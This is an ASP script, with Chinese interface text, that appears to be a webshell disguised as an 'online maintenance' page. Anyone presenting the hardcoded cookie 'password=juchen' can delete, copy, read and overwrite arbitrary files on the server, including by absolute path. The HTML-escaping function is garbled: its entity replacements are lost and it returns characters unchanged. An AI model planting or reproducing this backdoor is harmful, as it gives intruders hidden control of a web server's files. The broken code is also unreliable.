<% '读文件 if Request.Cookies("password")="juchen" then if request("op")="del" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.Delete True Response.write "删除成功!要刷新才能看到效果,你可以关闭本窗口了" else if request("op")="copy" then if Request("attrib")="true" then whichfile=Request("path") dsfile=Request("dpath") else whichfile=server.mappath(Request("path")) dsfile=Server.MapPath(Request("dpath")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.GetFile(whichfile) thisfile.copy dsfile Response.write "

源文件:"+whichfile Response.write "
目的文件:
"+dsfile Response.write "
复制成功!要刷新才能看到效果,你可以关闭本窗口

" else if request.form("text")="" then if Request("creat")<>"yes" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile(whichfile, 1, False) counter=0 thisline=htmlencode2(thisfile.readall) thisfile.Close set fs=nothing end if %>
">

【在线维护】

文件名: ">直接更改文件名,相当于“另存为”

<%else if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set fs = CreateObject("Scripting.FileSystemObject") Set outfile=fs.CreateTextFile(whichfile) outfile.WriteLine Request("text") outfile.close set fs=nothing Response.write "修改成功!你可以关闭本窗口,刷新即可看到了" end if end if end if else response.write "对不起!你的密码已经失效或者你输错了密码,请返回重输" response.write "【返 回】" end if function htmlencode2(str) dim result dim l if isNULL(str) then htmlencode2="" exit function end if l=len(str) result="" dim i for i = 1 to l select case mid(str,i,1) case "<" result=result+"<" case ">" result=result+">" case chr(34) result=result+""" case "&" result=result+"&" case else result=result+mid(str,i,1) end select next htmlencode2=result end function %>